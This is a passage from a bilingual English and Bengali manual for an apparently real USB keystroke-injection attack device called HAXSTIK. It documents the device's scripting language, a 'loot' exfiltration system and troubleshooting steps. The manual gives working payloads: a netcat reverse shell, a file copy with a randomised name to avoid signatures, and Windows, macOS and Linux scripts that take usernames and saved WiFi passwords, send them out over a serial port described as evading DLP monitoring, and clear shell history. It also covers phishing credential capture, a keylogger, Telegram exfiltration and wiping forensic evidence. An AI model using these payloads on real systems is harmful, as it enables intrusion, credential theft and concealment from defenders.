PAGEUP / PAGEDOWNPage Up / Page Down.
HOME / ENDMove cursor to start or end of line.
F1 – F12Function keys. Can be combined with modifiers.
Ex: ALT F4 · CTRL F5 · SHIFT F10
PRINTSCREENTakes a screenshot (PrtScn key).
CAPSLOCKToggles Caps Lock on/off.
NUMLOCKToggles Num Lock on/off.
SCROLLLOCKToggles Scroll Lock on/off.
PAUSE / BREAKPause/Break key.

Advanced Key Control — HOLD / RELEASE

Manually press and release individual keys to build complex custom chord combinations not covered by the standard modifier shortcuts.

COMMANDEXPLANATION
HOLD [key]Presses and holds a key without releasing. Supported keys: GUI, CTRL, ALT, SHIFT, or any single character.
Ex: HOLD CTRL
RELEASE [key]Releases a specific held key.
Ex: RELEASE CTRL
RELEASE_ALL
RELEASEALL
Releases all currently held keyboard keys and all mouse buttons simultaneously. Use this as a safety reset at the end of complex chord sequences.
WAIT
WAIT_FOR_STOP
Pauses payload execution indefinitely until the Emergency Stop button is pressed in the dashboard (or up to 5 minutes for safety). Useful for payloads that need to stay resident while you perform manual steps.

Mouse Control Commands

COMMANDEXPLANATION
MOUSE_MOVE [x] [y]
MOUSEMOVE [x] [y]
Moves the mouse cursor relative to its current position. Positive x = right, negative x = left. Positive y = down, negative y = up. Values above 127 are automatically chunked into multiple moves.
Ex: MOUSE_MOVE 100 -50 (right 100px, up 50px)
MOUSE_CLICK [btn]
CLICK [btn]
Single click. Button: LEFT (default), RIGHT, or MIDDLE.
Ex: MOUSE_CLICK RIGHT
MOUSE_DCLICK [btn]
DCLICK [btn]
Double-click with 80ms between clicks.
Ex: MOUSE_DCLICK LEFT
MOUSE_PRESS [btn]
MOUSEPRESS [btn]
Presses and holds a mouse button without releasing. Use with MOUSE_MOVE for manual drag control.
MOUSE_RELEASE [btn]
MOUSERELEASE [btn]
Releases a held mouse button.
MOUSE_SCROLL [n]
SCROLL [n]
Scrolls the mouse wheel. Positive = up, negative = down.
Ex: MOUSE_SCROLL 5 · MOUSE_SCROLL -3
MOUSE_DRAG [x] [y]
MOUSEDRAG [x] [y]
Holds Left button, moves cursor by (x, y), then releases. Performs a full click-drag in one command.
Ex: MOUSE_DRAG 200 100
MOUSE_JIGGLEOne-shot micro-movement (2px right then 2px left). Use inside a payload to prevent the screensaver from activating during a long-running script.

⚠ NOTE on MOUSE_MOVE: Mouse movement is relative, not absolute. The device has no way to know where the cursor currently is on screen. For precise UI interactions, combine MOUSE_MOVE with known screen coordinates, or use keyboard shortcuts wherever possible — keyboard navigation is always more reliable than mouse-based targeting.

DUCKYSCRIPT V3 — Variables, Logic & Loops

V3 is a backward-compatible extension of the DuckyScript language. Every V1 payload you write will continue to work exactly as before. V3 adds programming constructs that make payloads intelligent and adaptive.

V3 হলো DuckyScript ভাষার একটি backward-compatible সম্প্রসারণ। আপনার লেখা প্রতিটি V1 payload আগের মতোই কাজ করবে। V3 programming construct যোগ করে যা payload-কে বুদ্ধিমান ও অভিযোজনযোগ্য করে।

When a V3 payload is run, the engine first reads the entire script, resolves all variables and control flow, and writes an expanded V1 payload to a temporary internal file. The existing injection engine then executes that expanded payload. This means V3 adds zero overhead to execution — all logic processing happens before the first keystroke.

V3 payload চালানোর সময় engine প্রথমে পুরো script পড়ে, সব variable ও control flow সমাধান করে এবং একটি temporary ফাইলে expanded V1 payload লেখে। তারপর injection engine সেই expanded payload চালায়। অর্থাৎ V3 execution-এ কোনো overhead নেই — সব logic প্রথম keystroke-এর আগেই প্রক্রিয়া হয়।

1. Variables — VAR and Assignment

Store values (text or numbers) in named variables and reuse them throughout your payload.

নামযুক্ত variable-এ মান (টেক্সট বা সংখ্যা) সংরক্ষণ করুন এবং পুরো payload জুড়ে পুনরায় ব্যবহার করুন।

REM Declare variables
VAR $COUNT = 0
VAR $SERVER = 192.168.1.50
VAR $PORT = 4444

REM Use variables inside STRING (they are substituted at runtime)
STRING nc $SERVER $PORT -e /bin/bash
ENTER

Variable Assignment and Arithmetic

REM Assign a new value
$COUNT = 5

REM Arithmetic (+ - * /)
$COUNT = $COUNT + 1
$PORT = $PORT * 2

REM Increment and decrement shortcuts
$COUNT++
$COUNT--

2. Built-in Variables

These special variables are always available without declaring them:

এই বিশেষ variable-গুলো declare না করেই সবসময় ব্যবহার করা যায়:

VariableValue
$_OSDetected host OS: Windows, Linux, or Mac. Populated after OS_DETECT runs, or after an OS Fingerprint scan from the dashboard.
$_HOSTNAMEAlways HAXSTIK — the device name. Useful for payloads that need to identify the injector.
$_RANDOMA random integer from 0 to 99999. Changes every time it is referenced.

3. Random Numbers — $RANDOM_INT(min,max)

Generates a random integer between min and max (inclusive). Insert inline anywhere in a command. Useful for randomizing filenames, delays, or port numbers to introduce variation across authorized test scenarios.

min এবং max-এর মধ্যে (উভয় অন্তর্ভুক্ত) একটি random পূর্ণসংখ্যা তৈরি করে। যেকোনো কমান্ডের মধ্যে inline বসানো যায়। Authorized test scenario-তে filename, delay বা port number randomize করে variation আনার জন্য কার্যকর।

REM Random filename to avoid static signatures
STRING copy payload.exe C:\Users\Public\$RANDOM_INT(10000,99999).exe
ENTER

REM Random delay between 800ms and 1500ms
DELAY $RANDOM_INT(800,1500)

4. Conditional Logic — IF / ELSE / END_IF

Execute different commands based on a condition. Operators supported: ==, !=, >, <, >=, <=. Both numeric and string comparisons are supported automatically.

একটি শর্তের উপর ভিত্তি করে ভিন্ন কমান্ড চালায়। সমর্থিত operator: ==, !=, >, <, >=, <=। সংখ্যা ও string উভয় তুলনা স্বয়ংক্রিয়ভাবে সমর্থিত।

OS_DETECT
DELAY 300

IF $_OS == Windows THEN
  GUI r
  DELAY 500
  STRING cmd
  ENTER
ELSE
  REM Mac or Linux
  GUI SPACE
  DELAY 500
  STRING terminal
  ENTER
END_IF

⚠ IMPORTANT: The V3 engine supports IF ... THEN / ELSE / END_IF only. There is no ELSE IF keyword. To implement multiple branches, use nested IF blocks inside the ELSE block.

5. Loops — WHILE / END_WHILE

Repeat a block of commands while a condition is true. The engine enforces a maximum of 100,000 iterations as a safety cap to prevent infinite loops from bricking the device.

শর্ত সত্য থাকা পর্যন্ত কমান্ডের একটি block পুনরাবৃত্তি করে। Infinite loop থেকে ডিভাইস brick হওয়া রোধে engine সর্বোচ্চ ১,০০,০০০ iteration সীমা enforce করে।

REM Type a message 5 times
VAR $COUNT = 0
WHILE $COUNT < 5
  STRING This is automated message number $COUNT
  ENTER
  $COUNT++
END_WHILE

6. Literal Dollar Sign Escape — \$

If your payload uses $ as a PowerShell or Bash variable (not a DuckyScript V3 variable), prefix it with a backslash. The V3 engine will output a literal $ character without trying to expand it as a variable.

আপনার payload যদি PowerShell বা Bash variable হিসেবে $ ব্যবহার করে (DuckyScript V3 variable নয়), তাহলে backslash দিয়ে শুরু করুন। V3 engine তখন এটিকে variable হিসেবে expand না করে literal $ আউটপুট করবে।

REM WITHOUT escape (WRONG — V3 tries to expand $env:USERNAME)
STRING $env:USERNAME

REM WITH escape (CORRECT — types literal $env:USERNAME to PowerShell)
STRING \$env:USERNAME
ENTER

7. V3 Limits & Safety

LOOT SYSTEM — Data Collection via USB Serial

Beyond injecting keystrokes, the HΛX•STIK can receive data back from the target computer via its USB Serial port (CDC). The target sees a "Serial Communications Port" — not a storage drive — which operates outside the monitoring scope of DLP (Data Loss Prevention) policies that specifically watch for file copies to USB mass storage devices.

Keystroke inject করার পাশাপাশি, HΛX•STIK তার USB Serial port (CDC)-এর মাধ্যমে target কম্পিউটার থেকে ডেটা সংগ্রহ করতে পারে। Target একটি "Serial Communications Port" দেখে — storage drive নয় — যা USB mass storage device-এ file copy পর্যবেক্ষণকারী DLP (Data Loss Prevention) policy-র monitoring scope-এর বাইরে কাজ করে।

A payload commands the target OS to find the stick's COM port and push text data into it. That text is received by the stick and appended to loot.txt on SPIFFS flash.

একটি payload target OS-কে স্টিকের COM port খুঁজে বের করে সেখানে টেক্সট ডেটা পুশ করতে নির্দেশ দেয়। সেই টেক্সট স্টিক গ্রহণ করে SPIFFS ফ্ল্যাশে loot.txt-এ যুক্ত করে।

The <<LOOT>> Serial Marker Protocol

Payloads must wrap their data in special marker tags for the stick to recognize and store it correctly. Any text sent to the CDC serial port without these markers is ignored. The syntax is:

Payload-কে অবশ্যই ডেটা বিশেষ marker tag-এ মোড়াতে হবে যাতে স্টিক সঠিকভাবে চিনতে ও সংরক্ষণ করতে পারে। এই marker ছাড়া CDC serial port-এ পাঠানো যেকোনো টেক্সট উপেক্ষা করা হয়। Syntax হলো:

// Wrap ALL collected data in these markers
<<LOOT>>your data here<</LOOT>>

// Example: single-line capture
<<LOOT>>User:john.doe | OS:Windows 11 | Domain:CORP<</LOOT>>

// Limit: 4096 bytes maximum per single <<LOOT>> capture

When the stick detects the <<LOOT>> opening marker on the CDC port, it begins buffering incoming bytes. When it receives <</LOOT>>, it saves everything between the tags as a single entry in loot.txt. Multiple captures can be sent in one session — each pair of markers creates a separate entry.

CDC port-এ <<LOOT>> opening marker শনাক্ত হলে স্টিক incoming byte buffer করা শুরু করে। <</LOOT>> পেলে tag-এর মধ্যের সব কিছু loot.txt-এ একটি entry হিসেবে সেভ করে। এক session-এ একাধিক capture পাঠানো যায় — প্রতি জোড়া marker একটি আলাদা entry তৈরি করে।

Loot CSV Export — Column Reference

Click EXPORT CSV in the Loot Manager to download a .csv file. The columns are:

Loot Manager-এ EXPORT CSV ক্লিক করে একটি .csv ফাইল ডাউনলোড করুন। Column-গুলো হলো:

ColumnSourceContent
UsernameCaptive Portal onlyEmail or username submitted through the test login page
PasswordCaptive Portal onlyPassword submitted through the test login page
IPCaptive Portal onlyConnected client's IP address on the test AP network
TimeBoth sourcesCapture timestamp
DataUSB Serial onlyRaw text content received between <<LOOT>> markers

Captive portal entries: Username, Password, IP, Time are filled; Data is empty.
USB serial entries: Data is filled with the captured text; Username, Password, IP are empty.
Duplicate username+password pairs from the captive portal are automatically removed before export.

Captive portal entry: Username, Password, IP, Time পূর্ণ থাকে; Data ফাঁকা।
USB serial entry: Data-তে captured text থাকে; Username, Password, IP ফাঁকা।
Captive portal-এর duplicate username+password জোড়া export-এর আগে স্বয়ংক্রিয়ভাবে সরানো হয়।

⚠ Memory Limitations — Read Before Deploying

SPIFFS has 1.125MB total shared memory. Never exfiltrate large binary files, databases, or images. The serial pipeline is a text channel — use it exclusively for high-value small-text extraction:

SPIFFS-এর মোট ১.১২৫MB শেয়ার্ড মেমোরি। বড় binary ফাইল, database বা image কখনো exfiltrate করবেন না। Serial pipeline একটি text channel — শুধুমাত্র উচ্চমূল্যের ছোট-টেক্সট extraction-এর জন্য ব্যবহার করুন:

1. Windows Exfiltration — PowerShell

PowerShell enumerates all USB serial ports via WMI, finds the HAXSTIK's CDC port, and pushes data through it wrapped in <<LOOT>> markers. The payload first opens a PowerShell terminal via the Run dialog, then injects commands line by line into the open window:

PowerShell WMI-এর মাধ্যমে সব USB serial port গণনা করে, HAXSTIK-এর CDC port খুঁজে বের করে এবং <<LOOT>> marker-এ মোড়ানো ডেটা পুশ করে। Payload প্রথমে Run dialog-এর মাধ্যমে PowerShell terminal খোলে, তারপর খোলা window-তে line-by-line command inject করে:

REM Step 1 — Open PowerShell terminal
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1200
REM Step 2 — Inject commands into the PowerShell window
STRING $d='<<LOOT>>User:'+$env:USERNAME+'|OS:'+(Get-CimInstance Win32_OperatingSystem).Caption+'|Host:'+$env:COMPUTERNAME+'<</LOOT>>'
ENTER
STRING $sp=(gwmi Win32_SerialPort|?{$_.Description -match 'USB'}).DeviceID
ENTER
STRING if($sp){$p=new-object System.IO.Ports.SerialPort $sp,9600;$p.Open();$p.WriteLine($d);$p.Close()}
ENTER
DELAY 500
STRING exit
ENTER

How it works: The Run dialog opens a PowerShell window, then each STRING + ENTER types one command at a time into it. gwmi Win32_SerialPort finds all COM ports; $_.Description -match 'USB' filters for the stick's CDC port. Data wrapped in <<LOOT>>...<</LOOT>> is saved to loot.txt automatically. exit closes the window when done.

কীভাবে কাজ করে: Run dialog PowerShell window খোলে, তারপর প্রতিটি STRING + ENTER একটি করে command type করে। gwmi Win32_SerialPort সব COM port খোঁজে; $_.Description -match 'USB' স্টিকের CDC port ফিল্টার করে। <<LOOT>>...<</LOOT>>-এ মোড়ানো ডেটা স্বয়ংক্রিয়ভাবে loot.txt-এ সেভ হয়। শেষে exit window বন্ধ করে।

Extended example — grab WiFi passwords too:

REM Step 1 — Open PowerShell terminal
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1200
REM Step 2 — Collect saved WiFi profiles and keys
STRING $w=(netsh wlan show profiles)|Select-String 'Profile'
ENTER
STRING $r=''; foreach($p in $w){$k=(netsh wlan show profile name=($p -replace '.*: ','').Trim() key=clear)|Select-String 'Key Content'; $r+=$p.ToString()+':'+$k.ToString()+';'}
ENTER
STRING $d='<<LOOT>>'+$r+'<</LOOT>>'
ENTER
STRING $sp=(gwmi Win32_SerialPort|?{$_.Description -match 'USB'}).DeviceID
ENTER
STRING if($sp){$p=new-object System.IO.Ports.SerialPort $sp,9600;$p.Open();$p.WriteLine($d);$p.Close()}
ENTER
DELAY 500
STRING exit
ENTER

2. macOS Exfiltration — Bash

On macOS, the stick appears as /dev/tty.usbmodem*. Bash locates it automatically and writes data through it with <<LOOT>> markers.

macOS-এ স্টিক /dev/tty.usbmodem* হিসেবে দেখায়। Bash স্বয়ংক্রিয়ভাবে এটি খুঁজে বের করে <<LOOT>> marker সহ ডেটা লেখে।

REM Open Spotlight, launch Terminal
GUI SPACE
DELAY 600
STRING terminal
ENTER
DELAY 1200
REM Find port, capture sysinfo + saved WiFi, push with markers, clear history
STRING port=$(ls /dev/tty.usbmodem* 2>/dev/null | head -n 1); [ -n "$port" ] && printf '<<LOOT>>Mac:%s|WiFi:%s<</LOOT>>\n' "$(whoami)@$(hostname)" "$(networksetup -listpreferredwirelessnetworks en0 2>/dev/null | head -5 | tr '\n' ',')" > "$port"; history -c; exit
ENTER

Note: printf is used instead of echo to ensure the <<LOOT>> tags are written without interpretation. history -c; exit clears the Terminal history and closes the window cleanly.

দ্রষ্টব্য: <<LOOT>> tag ব্যাখ্যা ছাড়া লেখা নিশ্চিত করতে echo-এর পরিবর্তে printf ব্যবহার করা হয়। history -c; exit Terminal history মুছে উইন্ডো পরিষ্কারভাবে বন্ধ করে।

3. Linux Exfiltration — Bash

On Linux, the stick appears as /dev/ttyACM0 (USB CDC ACM) or /dev/ttyUSB0. The script checks both paths.

Linux-এ স্টিক /dev/ttyACM0 (USB CDC ACM) বা /dev/ttyUSB0 হিসেবে দেখায়। Script উভয় path পরীক্ষা করে।

REM Open Terminal (universal Ubuntu/Kali/Mint shortcut)
CTRL ALT t
DELAY 1000
REM Find port, grab system info, push with markers, clear history
STRING port=$(ls /dev/ttyACM* /dev/ttyUSB* 2>/dev/null | head -n 1); [ -n "$port" ] && printf '<<LOOT>>Linux:%s|User:%s|IP:%s|Host:%s<</LOOT>>\n' "$(uname -r)" "$(whoami)" "$(hostname -I)" "$(hostname)" > "$port"; history -c; exit
ENTER

Note: If the payload runs but no data appears in Loot Manager, the current user may not be in the dialout group. On most Linux distros this group membership is granted by default, but on minimal server installs you may need to add the user: sudo usermod -aG dialout $USER. In an authorized engagement, verify group permissions before deploying the data collection payload.

দ্রষ্টব্য: Payload চললেও Loot Manager-এ ডেটা না এলে বর্তমান user dialout group-এ নাও থাকতে পারে। বেশিরভাগ Linux distro-তে এই group membership ডিফল্টে দেওয়া, কিন্তু minimal server install-এ user যোগ করতে হতে পারে: sudo usermod -aG dialout $USER। Authorized engagement-এ data collection payload deploy করার আগে group permission যাচাই করুন।

4. Viewing, Exporting, and Clearing Loot

Navigate to the TOOLS tab → Loot Manager → VIEW CAPTURED LOOT. The vault displays all entries in a table sorted by capture time:

TOOLS ট্যাব → Loot Manager → VIEW CAPTURED LOOT-এ যান। Vault capture সময় অনুযায়ী সাজানো table-এ সব entry দেখায়:

EXPORT CSV: Downloads loot.csv with columns Username, Password, IP, Time, Data — import directly into Excel, Google Sheets, or any spreadsheet tool for sorting and analysis.

EXPORT CSV: Username, Password, IP, Time, Data column সহ loot.csv ডাউনলোড করে — সরাসরি Excel, Google Sheets বা যেকোনো spreadsheet tool-এ import করুন।

CLEAR ALL: Permanently wipes loot.txt. Do this after exporting — it frees SPIFFS space and removes forensic evidence from the device.

CLEAR ALL: loot.txt স্থায়ীভাবে মুছে দেয়। Export করার পরে এটি করুন — SPIFFS স্থান মুক্ত হয় এবং ডিভাইস থেকে forensic প্রমাণ সরে যায়।

This documentation is strictly for authorized penetration testing, red team engagements, and educational security research. Always obtain explicit written permission before deploying any payload on a target system. Unauthorized use is illegal.

TROUBLESHOOTING

Common problems encountered in the field and how to fix them. Read the symptom that matches your situation.

মাঠে প্রায়ই যে সমস্যাগুলো দেখা যায় এবং সেগুলো সমাধানের উপায়। আপনার পরিস্থিতির সাথে মিলে যাওয়া লক্ষণটি পড়ুন।

Connection & Dashboard Access

⚠ Cannot find HAXSTIK_OS in WiFi list

  • Device may not be fully booted — wait 5 seconds after plugging in.
  • If you enabled Stealth Mode (hidden SSID), the network is invisible. Go to your phone's WiFi → Add Network → type the exact SSID manually → enter password.
  • Ensure the USB port is providing power (some front-panel ports are switched off). Try a rear port or a powered USB hub.
  • Try a different USB port or cable — the device requires data+power, not charge-only ports.
  • ডিভাইস সম্পূর্ণ boot নাও হতে পারে — plug করার পর ৫ সেকেন্ড অপেক্ষা করুন।
  • Stealth Mode (hidden SSID) চালু থাকলে নেটওয়ার্ক অদৃশ্য। ফোনের WiFi → Add Network → SSID হাতে টাইপ করুন → password দিন।
  • USB port পাওয়ার দিচ্ছে কিনা নিশ্চিত করুন (কিছু front-panel port বন্ধ থাকে)। Rear port বা powered USB hub ব্যবহার করুন।
  • ভিন্ন USB port বা cable চেষ্টা করুন — ডিভাইসের data+power দরকার, charge-only port কাজ করে না।

⚠ Browser shows "Site can't be reached" at 192.168.4.1

  • Confirm your phone is connected to HAXSTIK_OS, not your home WiFi — phones often switch back automatically.
  • Make sure you're using http:// not https://. The device serves plain HTTP.
  • If the Captive Portal is armed, the base URL serves the phishing page. Use http://192.168.4.1/admin to reach the operator dashboard.
  • Disable mobile data (4G/5G) on your phone — Android and iOS sometimes route traffic over mobile data even when connected to a WiFi that has no internet, bypassing the AP completely.
  • ফোন HAXSTIK_OS-এ সংযুক্ত আছে কিনা নিশ্চিত করুন, home WiFi-এ নয় — ফোন প্রায়ই স্বয়ংক্রিয়ভাবে ফিরে যায়।
  • http:// ব্যবহার করছেন কিনা নিশ্চিত করুন, https:// নয়। ডিভাইস plain HTTP serve করে।
  • Captive Portal armed থাকলে base URL phishing page দেখায়। Operator dashboard-এ যেতে http://192.168.4.1/admin ব্যবহার করুন।
  • ফোনের mobile data (4G/5G) বন্ধ করুন — Android ও iOS কখনো internet-বিহীন WiFi-এ সংযুক্ত থেকেও mobile data দিয়ে traffic পাঠায়, AP সম্পূর্ণ bypass করে।

⚠ Login page says "Invalid credentials"

  • Check for typos — credentials are case-sensitive. Default: admin / haxstik.
  • If you changed credentials and forgot the new ones, the only recovery is Format Disk — hold the device in a way to access Settings → Danger Zone using the default credentials (they reset after format). If you can't log in at all, you must reflash the firmware via USB using the Arduino IDE or esptool.
  • Session tokens invalidate on every reboot — if you rebooted, log in again.
  • টাইপো পরীক্ষা করুন — credentials case-sensitive। Default: admin / haxstik
  • Credentials পরিবর্তন করে ভুলে গেলে একমাত্র উপায় Format Disk — default credentials দিয়ে (format-এর পর reset হয়) Settings → Danger Zone-এ যান। একেবারে login করতে না পারলে Arduino IDE বা esptool দিয়ে USB-এ firmware reflash করতে হবে।
  • Session token প্রতিটি reboot-এ invalidate হয় — reboot করলে আবার login করুন।

Payload Execution Problems

⚠ Payload types wrong or scrambled characters

  • Wrong layout: The target computer uses a non-English keyboard layout. Use STRING_ALT for symbols and special characters (see STRING_ALT example in the command reference). Regular letters (A–Z) and numbers work fine with normal STRING.
  • Too fast: Increase injection speed — Settings → Global Injection Speed → 50ms or 100ms. The machine is dropping keystrokes because it cannot process them fast enough.
  • Focus lost: A notification popup or dialog stole keyboard focus mid-payload. Add longer DELAY after windows open. Use WAIT and manually click away popups before resuming.
  • AutoCorrect / AutoComplete: Windows or macOS autocorrected your typed text. Add ESC after autocomplete appears, or type more slowly with higher injection speed.
  • ভুল layout: Target কম্পিউটারে non-English keyboard layout। Symbol ও বিশেষ অক্ষরের জন্য STRING_ALT ব্যবহার করুন (command reference-এ STRING_ALT উদাহরণ দেখুন)। সাধারণ অক্ষর (A–Z) ও সংখ্যা normal STRING-এ ঠিকই কাজ করে।
  • অতি দ্রুত: Injection speed বাড়ান — Settings → Global Injection Speed → 50ms বা 100ms। মেশিন দ্রুত process করতে না পেরে keystroke বাদ দিচ্ছে।
  • Focus হারানো: Payload চলার মাঝে notification popup বা dialog keyboard focus নিয়ে নিয়েছে। Window খোলার পর বেশি DELAY যোগ করুন। WAIT ব্যবহার করে popup ম্যানুয়ালি সরান তারপর resume করুন।
  • AutoCorrect / AutoComplete: Windows বা macOS টাইপ করা টেক্সট autocorrect করেছে। Autocomplete আসার পর ESC যোগ করুন, বা injection speed কমিয়ে আস্তে আস্তে টাইপ করুন।

⚠ Payload opens wrong application / nothing opens

  • Too little delay after boot: HID driver wasn't installed yet when injection started. Increase Boot Delay to 5–8 seconds (Tools → Boot Configuration → SET BOOT DELAY).
  • Wrong OS payload: Run OS Fingerprint first. A macOS payload on Windows (and vice versa) will silently fail or open the wrong thing.
  • Screen locked: The target locked before you ran the payload. Enable Mouse Jiggler before long engagements to prevent lock. If already locked, the payload cannot unlock it — physical access to type the PIN is needed.
  • GUI key not working: On some configurations, the Windows/Super key is disabled by Group Policy. Use CTRL-ESC as an alternative to open the Start Menu on Windows.
  • Boot-এর পর দেরি কম: Injection শুরু হওয়ার সময় HID driver install হয়নি। Boot Delay ৫–৮ সেকেন্ডে বাড়ান (Tools → Boot Configuration → SET BOOT DELAY)।
  • ভুল OS payload: আগে OS Fingerprint চালান। Windows-এ macOS payload (বা উল্টো) নীরবে ব্যর্থ হবে বা ভুল কিছু খুলবে।
  • স্ক্রিন লক: Payload চালানোর আগে target লক হয়েছে। দীর্ঘ অপারেশনে Mouse Jiggler চালু রাখুন। ইতিমধ্যে লক হলে payload unlock করতে পারবে না — PIN টাইপ করতে physical access লাগবে।
  • GUI key কাজ করছে না: কিছু configuration-এ Group Policy Windows/Super key disable করে। Windows-এ Start Menu খুলতে বিকল্প হিসেবে CTRL-ESC ব্যবহার করুন।

⚠ Keyboard appears stuck after payload (modifier key held)

  • Click 🛑 EMERGENCY STOP immediately — this releases all held modifier keys (CTRL, ALT, SHIFT, GUI) and flushes the injection queue.
  • Always end complex HOLD/RELEASE sequences with RELEASE_ALL in your payloads to prevent this from happening.
  • If the target keyboard seems completely stuck even after Emergency Stop, physically unplug and re-plug the HAXSTIK — this re-enumerates the HID device and resets all key states.
  • সাথে সাথে 🛑 EMERGENCY STOP ক্লিক করুন — এটি সব held modifier key (CTRL, ALT, SHIFT, GUI) ছেড়ে দেয় এবং injection queue flush করে।
  • এরকম পরিস্থিতি এড়াতে সবসময় জটিল HOLD/RELEASE sequence-এর শেষে payload-এ RELEASE_ALL যোগ করুন।
  • Emergency Stop-এর পরেও target keyboard সম্পূর্ণ আটকে থাকলে, HAXSTIK physically unplug ও re-plug করুন — HID device আবার enumerate হয় এবং সব key state reset হয়।

Loot & Serial Exfiltration

⚠ Loot Manager shows no entries after running a serial payload

  • Missing markers: The payload must wrap data in <<LOOT>>...<</LOOT>> — raw text without markers is ignored by the device.
  • Wrong COM port: On Windows, verify the script found the right port. Run gwmi Win32_SerialPort | select DeviceID, Description in PowerShell to list all ports and confirm the stick is detected as a USB serial device.
  • Linux dialout group: The current user may not have permission to write to /dev/ttyACM0. Check with ls -la /dev/ttyACM0 — if owned by dialout, the user needs to be in that group. On most desktop Linux distros this is already granted.
  • Keylogger not armed: If you were expecting keylog data — confirm the Keylogger is toggled ON (cyan button) in the Tools tab before running the payload.
  • Marker অনুপস্থিত: Payload-কে অবশ্যই ডেটা <<LOOT>>...<</LOOT>>-এ মোড়াতে হবে — marker ছাড়া raw text ডিভাইস উপেক্ষা করে।
  • ভুল COM port: Windows-এ script সঠিক port পেয়েছে কিনা নিশ্চিত করুন। PowerShell-এ gwmi Win32_SerialPort | select DeviceID, Description চালিয়ে সব port তালিকা দেখুন এবং স্টিক USB serial device হিসেবে detected কিনা confirm করুন।
  • Linux dialout group: বর্তমান user-এর /dev/ttyACM0-এ লেখার permission নাও থাকতে পারে। ls -la /dev/ttyACM0 দিয়ে পরীক্ষা করুন — dialout-এর owned হলে user-কে সেই group-এ থাকতে হবে। বেশিরভাগ desktop Linux distro-তে এটি ডিফল্টে দেওয়া।
  • Keylogger armed নয়: Keylog ডেটা আশা করলে — payload চালানোর আগে Tools ট্যাবে Keylogger ON (cyan বাটন) আছে কিনা নিশ্চিত করুন।

Telegram & Network

⚠ TEST PING succeeds but no messages arrive after arming Exfil

  • Verify the Telegram Audit Forwarding toggle in Tools → Telegram Audit Forwarding shows FORWARDING: ACTIVE. The Settings card only stores credentials — it does not activate forwarding.
  • Check the status bar at the top of the dashboard — it should show 📡 EXFIL ON in blue.
  • Keylog messages are sent in bursts, not character-by-character. Trigger a flush: type 200+ characters on the target, or press ENTER, or switch windows.
  • Tools → Telegram Exfil-এ toggle EXFIL: ACTIVE দেখাচ্ছে কিনা নিশ্চিত করুন। Settings কার্ড শুধু credentials সংরক্ষণ করে — forwarding activate করে না।
  • ড্যাশবোর্ডের উপরের status bar দেখুন — নীল রঙে 📡 EXFIL ON দেখাওয়া উচিত।
  • Keylog message character-by-character নয়, burst-এ পাঠানো হয়। Flush trigger করুন: target-এ ২০০+ অক্ষর টাইপ করুন, বা ENTER চাপুন, বা window পরিবর্তন করুন।

⚠ WiFi scan drops my operator connection / I can't reconnect

  • This is normal behavior — the SCAN NEARBY process drops the AP for ~3 seconds. The firmware automatically restores it. Wait 5 seconds then reconnect to HAXSTIK_OS from your phone's WiFi settings.
  • If you cannot reconnect after waiting, the device may have changed to the new STA network but the AP is still running — try navigating to http://192.168.4.1 after reconnecting to the AP.
  • Remember: only 2.4GHz networks are visible and connectable — 5GHz bands do not appear in SCAN results.
  • এটি স্বাভাবিক আচরণ — SCAN NEARBY প্রক্রিয়া AP ~৩ সেকেন্ড বন্ধ রাখে। Firmware স্বয়ংক্রিয়ভাবে পুনরুদ্ধার করে। ৫ সেকেন্ড অপেক্ষা করুন তারপর ফোনের WiFi settings থেকে HAXSTIK_OS-এ আবার সংযুক্ত হন।
  • অপেক্ষার পরেও reconnect না হলে, ডিভাইস নতুন STA network-এ যুক্ত হলেও AP চলছে — AP-এ reconnect করার পর http://192.168.4.1-এ navigate করুন।
  • মনে রাখুন: শুধু 2.4GHz নেটওয়ার্ক দৃশ্যমান ও সংযোগযোগ্য — 5GHz SCAN result-এ দেখায় না।

OTA Firmware Update

⚠ CHECK FOR UPDATE fails immediately / shows error

  • The device has no internet connection. Go to Settings → Network Settings and connect to a 2.4GHz internet WiFi first. Confirm "Connected to [SSID]" before trying OTA.
  • If connected but still failing: the internet WiFi may have a captive portal itself (e.g., hotel WiFi requiring browser login). The device cannot authenticate through a captive portal in STA mode — use a mobile hotspot instead.
  • If power was lost after DOWNLOAD, reboot the device — it will detect the staged firmware and show UPDATE AND REBOOT immediately without needing to re-download.
  • ডিভাইসে ইন্টারনেট সংযোগ নেই। Settings → Network Settings-এ গিয়ে আগে 2.4GHz ইন্টারনেট WiFi-এ সংযুক্ত হন। OTA চেষ্টার আগে "Connected to [SSID]" নিশ্চিত করুন।
  • সংযুক্ত থেকেও ব্যর্থ হলে: ইন্টারনেট WiFi-এর নিজস্ব captive portal থাকতে পারে (যেমন, hotel WiFi যেখানে browser login লাগে)। STA mode-এ ডিভাইস captive portal-এ authenticate করতে পারে না — পরিবর্তে mobile hotspot ব্যবহার করুন।
  • DOWNLOAD-এর পর পাওয়ার হারালে, ডিভাইস reboot করুন — এটি staged firmware শনাক্ত করবে এবং সাথে সাথে UPDATE AND REBOOT দেখাবে, পুনরায় download লাগবে না।

Storage & File Issues

⚠ SAVE / UPDATE fails in Payload Studio

  • Check Settings → Storage Status — if SPIFFS is nearly full, saves will fail. Delete unused payloads from the Dashboard or clear the loot vault (Tools → Loot Manager → CLEAR ALL).
  • Ensure the filename ends in .txt (e.g., grab.txt). Filenames without extensions may not save correctly.
  • Avoid special characters in filenames — use only letters, numbers, underscores, and hyphens.
  • Settings → Storage Status দেখুন — SPIFFS প্রায় পূর্ণ হলে save ব্যর্থ হবে। Dashboard থেকে অব্যবহৃত payload মুছুন বা loot vault পরিষ্কার করুন (Tools → Loot Manager → CLEAR ALL)।
  • Filename .txt-এ শেষ হচ্ছে কিনা নিশ্চিত করুন (যেমন, grab.txt)। Extension ছাড়া filename সঠিকভাবে সেভ নাও হতে পারে।
  • Filename-এ বিশেষ অক্ষর এড়িয়ে চলুন — শুধু অক্ষর, সংখ্যা, underscore এবং hyphen ব্যবহার করুন।

⚠ Payload appears in Studio but not in Dashboard list

  • Click ⌛ REFRESH LIST on the Dashboard — the file is saved but the list needs to re-index SPIFFS.
  • If it still doesn't appear, the save may have failed silently due to a full disk. Check storage.
  • Dashboard-এ ⌛ REFRESH LIST ক্লিক করুন — ফাইল সেভ হয়েছে কিন্তু তালিকা SPIFFS পুনরায় index করতে হবে।
  • তারপরেও না দেখালে, disk পূর্ণ হওয়ার কারণে save নীরবে ব্যর্থ হয়ে থাকতে পারে। Storage পরীক্ষা করুন।
DOWNLOAD PDF MANUAL
HAXSTIK : THE COMPLETE GUIDE  ·  PDF
